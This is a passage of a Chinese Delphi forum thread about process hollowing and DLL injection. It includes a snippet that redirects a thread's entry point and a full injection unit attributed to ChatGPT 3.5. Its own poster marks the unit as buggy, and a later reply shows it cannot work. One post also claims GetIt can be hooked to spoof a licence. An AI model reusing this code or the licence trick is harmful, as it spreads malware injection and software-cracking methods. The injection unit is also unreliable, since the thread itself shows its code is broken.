28楼: 理论上是一样的。不过这个东西到底有什么用处?随便一个杀毒都会拦截了。而且如果需要百分之百稳定,是需要再修改里面一个地方的(附件的没有修改,只是用XE11编译了一个64位的)。
此帖子包含附件:138soft_2023321225143.zip 大小:1.28M
----------------------------------------------
是你上错了车,还是我下错了站?
作者:
男 fanghui (delphi) ★☆☆☆☆ -
普通会员
2023/3/22 7:46:48
29楼: @138soft
就是偶然看到了这个代码,然后感兴趣就拿来研究下,没实际用处的。毕竟平时做的大多是数据库相关的系统,这种涉及到系统API和H A C K技术的东西接触的少,纯属兴趣研究。谢谢你的帮助和回答。
----------------------------------------------
-
作者:
男 jingzu (123456) ★☆☆☆☆ -
盒子活跃会员
2023/3/22 8:07:26
30楼: 对比上面的代码,改下面的:
{$IFDEF WIN64}
  pThreadContext^.Rcx := NativeUInt(pPayloadAddress) + pOptionalHeader^.AddressOfEntryPoint;
  if TOSVersion.Name = 'Windows 7' then
    pThreadContext^.Rcx := pOptionalHeader^.ImageBase + pOptionalHeader^.AddressOfEntryPoint;
{$ELSE}
  pThreadContext^.Eax := NativeUInt(pPayloadAddress) + pOptionalHeader^.AddressOfEntryPoint;
  if (TOSVersion.Name = 'Windows 7') or (TOSVersion.Name = 'Windows xp') then
    pThreadContext^.Eax := pOptionalHeader^.ImageBase + pOptionalHeader^.AddressOfEntryPoint;
{$ENDIF}
测试win7/win10/win11的64位系统,不管是32程序还是64位程序都能正常。
只是WIN7 32位系统和WINDOWS XP  不行。

这种东西,应该没有什么用处了。只是玩玩增长一些知识,还是不错的,也知道DELPHI的确很强,C++做的事情,D也能做。
----------------------------------------------
永远是DELPHI初学者。
作者:
男 jingzu (123456) ★☆☆☆☆ -
盒子活跃会员
2023/3/22 8:11:09
31楼: 特别感谢@ fanghui。
把代码放出来。
----------------------------------------------
永远是DELPHI初学者。
作者:
男 fanghui (delphi) ★☆☆☆☆ -
普通会员
2023/3/22 9:08:09
32楼: @jingzu
是的,纯粹为了增长知识,没实际用途的。
至于感谢就受之有愧了,放出的代码并非我原创的。
Delphi确实很强大。再次感谢那些积极回复并解惑的盒友。
----------------------------------------------
-
作者:
男 1111111112 (1111111112) ▲△△△△ -
普通会员
2023/3/22 13:15:29
33楼: 按此在新窗口浏览图片 可以hook getit返回正确的授权欺骗软件。然后正常下载上面的任意组件(注:升级补丁是另外一个程序)
----------------------------------------------
-
作者:
男 qq81709989 (战石电子) ▲▲△△△ -
普通会员
2023/3/23 11:22:33
34楼: unit u_DllInjectUnit;

(*
  原帖:https://bbs.2ccc.com/topic.asp?topicid=673353
  发帖人:138soft (138soft)
  源码作者:ChatGPT 3.5
  源码整理:https://WWW.Z-SHI.NET
  注意:源码有错误未调试!如有修复请共享到Delphi盒子,感谢!

  功能: Dll插入功能模块,直接Buffer方式插入。支持以下四种方式:
  1、X32--->X32
  2、X32--->X64
  3、X64--->X64
  4、X64--->X32

  日期:2023年03月23日。

*)
interface

function IsWin64System: Boolean;
function X32InjectToX32(hProcess: THandle; pDllBuffer: Pointer;
  dwDllSize: LongWord): Boolean;
function X32InjectToX64(hProcess: THandle; pDllBuffer: Pointer;
  dwDllSize: LongWord): Boolean;
function X64InjectToX32(hProcess: THandle; pDllBuffer: Pointer;
  dwDllSize: LongWord): Boolean;
function X64InjectToX64(hProcess: THandle; pDllBuffer: Pointer;
  dwDllSize: LongWord): Boolean;

implementation

uses
  Winapi.Windows;

function IsWin64System: Boolean; // 判断操作系统是否为64位系统
var
  ProcessHandle: THandle;
  Wow64Process: BOOL;
  SystemInfo: SYSTEM_INFO;
begin
  Result := False;
  ProcessHandle := GetCurrentProcess;
  if not Assigned(GetNativeSystemInfo(@SystemInfo)) then
    Exit;
  GetNativeSystemInfo(@SystemInfo);
  if (SystemInfo.wProcessorArchitecture = PROCESSOR_ARCHITECTURE_INTEL) and
    Assigned(IsWow64Process) and IsWow64Process(ProcessHandle, Wow64Process) and Wow64Process
  then
    Result := True
  else if SystemInfo.wProcessorArchitecture = PROCESSOR_ARCHITECTURE_AMD64 then
    Result := True;

end;

function X32InjectToX32(hProcess: THandle; pDllBuffer: Pointer;
  dwDllSize: LongWord): Boolean;
var
  hThread: THandle;
  dwThreadId: DWORD;
  pRemoteBuf: Pointer;
  pLoadLibrary: Pointer;
begin
  Result := False;

  // 分配内存空间
  pRemoteBuf := VirtualAllocEx(hProcess, nil, dwDllSize, MEM_COMMIT,
    PAGE_READWRITE);
  if pRemoteBuf = nil then
    Exit;

  // 将DLL文件写入目标进程的内存空间
  if not WriteProcessMemory(hProcess, pRemoteBuf, pDllBuffer, dwDllSize, nil)
  then
    Exit;

  // 获取LoadLibraryA函数的地址
  pLoadLibrary := GetProcAddress(GetModuleHandle('kernel32.dll'),
    'LoadLibraryA');
  if pLoadLibrary = nil then
    Exit;

  // 在目标进程中创建一个新线程来调用LoadLibraryA函数
  hThread := CreateRemoteThread(hProcess, nil, 0, pLoadLibrary, pRemoteBuf, 0,
    dwThreadId);
  if hThread = 0 then
    Exit;

  // 等待线程结束
  WaitForSingleObject(hThread, INFINITE);

  // 关闭句柄
  CloseHandle(hThread);
  VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);

  Result := True;
end;
{
  function X32InjectToX64(hProcess: THandle; pDllBuffer: Pointer;
  dwDllSize: LongWord): Boolean;
  var
  hKernel32: HMODULE;
  pLoadLibrary: Pointer;
  pRemoteDll: Pointer;
  hThread: THandle;
  lpThreadId: DWORD;
  Context: TContext;
  IsWow64: BOOL;
  begin
  Result := False;
  hKernel32 := GetModuleHandle('kernel32.dll');
  if hKernel32 = 0 then
  Exit;
  pLoadLibrary := GetProcAddress(hKernel32, 'LoadLibraryW');
  if not Assigned(pLoadLibrary) then
  Exit;
  pRemoteDll := VirtualAllocEx(hProcess, nil, dwDllSize, MEM_COMMIT,
  PAGE_READWRITE);
  if pRemoteDll = nil then
  Exit;
  if not WriteProcessMemory(hProcess, pRemoteDll, pDllBuffer, dwDllSize, nil)
  then
  Exit;
  hThread := CreateRemoteThread(hProcess, nil, 0, pLoadLibrary, pRemoteDll, 0,
  lpThreadId);
  if hThread = 0 then
  Exit;
  WaitForSingleObject(hThread, INFINITE);
  IsWow64 := False;
  if GetExitCodeThread(hThread, DWORD(Result)) and (Result = 0) then
  begin
  if GetLastError = ERROR_MOD_NOT_FOUND then
  begin
  IsWow64 := True;
  Context.ContextFlags := CONTEXT_FULL;
  if Wow64GetThreadContext(hThread, Context) then
  begin
  Context.Eip := GetProcAddress(GetModuleHandle('kernel32.dll'),
  'LoadLibraryW');
  if Wow64SetThreadContext(hThread, Context) then
  begin
  ResumeThread(hThread);
  Result := True;
  end;
  end;
  end;
  end;
  if not IsWow64 then
  Result := True;
  CloseHandle(hThread);
  end; }

function X32InjectToX64(hProcess: THandle; pDllBuffer: Pointer;
  dwDllSize: LongWord): Boolean;
var
  pRemoteDll: Pointer;
  hThread: THandle;
  dwThreadId: DWORD;
  pLoadLibrary: Pointer;
  ctx: CONTEXT;
begin
  Result := False;

  // 在目标进程中分配一段内存来存放DLL文件
  pRemoteDll := VirtualAllocEx(hProcess, nil, dwDllSize, MEM_COMMIT,
    PAGE_EXECUTE_READWRITE);
  if pRemoteDll = nil then
    Exit;

  try
    // 将DLL文件写入目标进程的内存中
    if not WriteProcessMemory(hProcess, pRemoteDll, pDllBuffer, dwDllSize, nil)
    then
      Exit;

    // 获取LoadLibraryW函数的地址
    pLoadLibrary := GetProcAddress(GetModuleHandle('kernel32.dll'),
      'LoadLibraryW');
    if pLoadLibrary = nil then
      Exit;

    // 在目标进程中创建一个新线程来调用LoadLibraryW函数,将DLL文件载入目标进程
    hThread := CreateRemoteThread(hProcess, nil, 0, pLoadLibrary, pRemoteDll, 0,
      dwThreadId);
    if hThread = 0 then
      Exit;

    // 等待线程执行完毕
    WaitForSingleObject(hThread, INFINITE);

    // 获取线程的退出码
    GetExitCodeThread(hThread, DWORD(Result));

    // 如果错误代码为ERROR_MOD_NOT_FOUND,则说明目标进程是64位的
    if (not Result) and (GetLastError = ERROR_MOD_NOT_FOUND) then
    begin
      // 获取新线程的上下文信息
      ZeroMemory(@ctx, SizeOf(ctx));
      ctx.ContextFlags := CONTEXT_CONTROL;
      if not Wow64GetThreadContext(hThread, ctx) then
        Exit;

      // 将EIP指针指向64位进程中的LoadLibraryW函数
      ctx.Eip := GetProcAddress(GetModuleHandle('kernel32.dll'),
        'LoadLibraryW');

      // 将修改后的上下文信息写回到新线程中,使其继续执行LoadLibraryW函数
      if not Wow64SetThreadContext(hThread, ctx) then
        Exit;

      Result := True;
    end;
  finally
    // 释放在目标进程中分配的内存
    VirtualFreeEx(hProcess, pRemoteDll, 0, MEM_RELEASE);
  end;
end;

function X64InjectToX32(hProcess: THandle; pDllBuffer: Pointer;
  dwDllSize: LongWord): Boolean;
var
  hThread: THandle;
  lpBaseAddr: Pointer;
  lpStartAddr: Pointer;
  dwBytesWritten: LongWord;
  ctx: TContext;
  pfnLoadLibrary: Pointer;
  pfnWow64Transition: Pointer;
  dwThreadId: DWORD;
begin
  Result := False;

  // 在目标进程中分配内存
  lpBaseAddr := VirtualAllocEx(hProcess, nil, dwDllSize, MEM_COMMIT or
    MEM_RESERVE, PAGE_READWRITE);
  if lpBaseAddr = nil then
    Exit;

  // 将DLL写入目标进程内存中
  if not WriteProcessMemory(hProcess, lpBaseAddr, pDllBuffer, dwDllSize,
    dwBytesWritten) then
    Exit;

  // 获取LoadLibraryA函数的地址
  pfnLoadLibrary := GetProcAddress(GetModuleHandle('kernel32.dll'),
    'LoadLibraryA');
  if pfnLoadLibrary = nil then
    Exit;

  // 创建远程线程
  lpStartAddr := VirtualAllocEx(hProcess, nil, 4096, MEM_COMMIT or MEM_RESERVE,
    PAGE_EXECUTE_READWRITE);
  if lpStartAddr = nil then
    Exit;

  // 获取Wow64Transition函数的地址
  pfnWow64Transition := GetProcAddress(GetModuleHandle('kernel32.dll'),
    'Wow64Transition');

  // 获取新线程上下文信息
  FillChar(ctx, SizeOf(TContext), 0);
  ctx.ContextFlags := CONTEXT_FULL;
  hThread := CreateRemoteThread(hProcess, nil, 0, lpStartAddr, lpBaseAddr, 0,
    dwThreadId);
  if hThread = 0 then
    Exit;

  // 如果目标进程是32位,则修改新线程上下文信息
  if GetLastError = ERROR_INVALID_PARAMETER then
  begin
    if not GetThreadContext(hThread, ctx) then
      Exit;

    ctx.Eip := DWORD_PTR(pfnWow64Transition);
    if not SetThreadContext(hThread, ctx) then
      Exit;

    if not Wow64GetThreadContext(hThread, ctx) then
      Exit;

    ctx.Eip := DWORD_PTR(pfnLoadLibrary);
    if not Wow64SetThreadContext(hThread, ctx) then
      Exit;
  end
  else
  begin
    // 如果目标进程不是32位,则直接调用LoadLibraryA函数
    if not GetThreadContext(hThread, ctx) then
      Exit;

    ctx.Eip := DWORD_PTR(pfnLoadLibrary);
    if not SetThreadContext(hThread, ctx) then
      Exit;
  end;

  Result := True;
end;

function X64InjectToX64(hProcess: THandle; pDllBuffer: Pointer;
  dwDllSize: LongWord): Boolean;
var
  hThread: THandle;
  pRemoteBuf: Pointer;
  pLoadLibraryW: Pointer;
begin
  Result := False;

  // 调用VirtualAllocEx函数在目标进程中分配一段内存来存放DLL文件
  pRemoteBuf := VirtualAllocEx(hProcess, nil, dwDllSize, MEM_COMMIT or
    MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  if pRemoteBuf = nil then
    Exit;

  try
    // 调用WriteProcessMemory函数将DLL文件写入目标进程的内存中
    if not WriteProcessMemory(hProcess, pRemoteBuf, pDllBuffer, dwDllSize, nil)
    then
      Exit;

    // 调用GetProcAddress函数获取LoadLibraryW函数的地址
    pLoadLibraryW := GetProcAddress(GetModuleHandle('kernel32.dll'),
      'LoadLibraryW');
    if pLoadLibraryW = nil then
      Exit;

    // 调用CreateRemoteThread函数在目标进程中创建一个新线程来调用LoadLibraryW函数,将DLL文件载入目标进程
    hThread := CreateRemoteThread(hProcess, nil, 0, pLoadLibraryW,
      pRemoteBuf, 0, nil);
    if hThread = 0 then
      Exit;

    // 等待新线程执行完毕
    WaitForSingleObject(hThread, INFINITE);

    Result := True;
  finally
    // 释放内存
    VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
    CloseHandle(hThread);
  end;
end;

end.
----------------------------------------------
《Z-Gantt智慧时间管理进度计划甘特图软件》:WWW.Z-SHi.NET
作者:
男 jingzu (123456) ★☆☆☆☆ -
盒子活跃会员
2023/3/24 13:27:57
35楼: @138soft 10楼中的EXE 兼容性很好,32和64位通吃,能否代码放出来,研究研究?
----------------------------------------------
永远是DELPHI初学者。
作者:
男 jingzu (123456) ★☆☆☆☆ -
盒子活跃会员
2023/3/24 13:31:46
36楼: “学xi”本论坛认为是违法信息?
----------------------------------------------
永远是DELPHI初学者。
作者:
男 138soft (138soft) ★☆☆☆☆ -
盒子活跃会员
2023/3/26 17:56:38
37楼: @qq81709989
这个代码是搞笑的吧。。。拿上面的X32InjectToX64来说:
1、 pDllBuffer: Pointer;这个是Dll的内容,而不是文件路径,LoadLibrary的参数只能是路径。
2、32位进程的LoadLibrary地址在所有32位进程是相同的,但是你现在传递给64位进程来执行,这个地址对于64位进程来说是未知的,不知道指向什么地方。

@jingzu 
这东西没有什么价值,懒得贴了。不过其实是一样的,只是代码量只有四分之一。我也是当初在网上找的,然后单步运行,哪里出错就删除哪里好了,最后只留下了四分之一的代码。其实最原始的代码应该是VS的,后来有人翻译成了Delphi。想不明白你们为什么还要判断操作系统类型,越搞错误越多。
----------------------------------------------
是你上错了车,还是我下错了站?
信息
登陆以后才能回复
Copyright © 2CCC.Com 盒子论坛 v3.0.1 版权所有 页面执行214.8438毫秒 RSS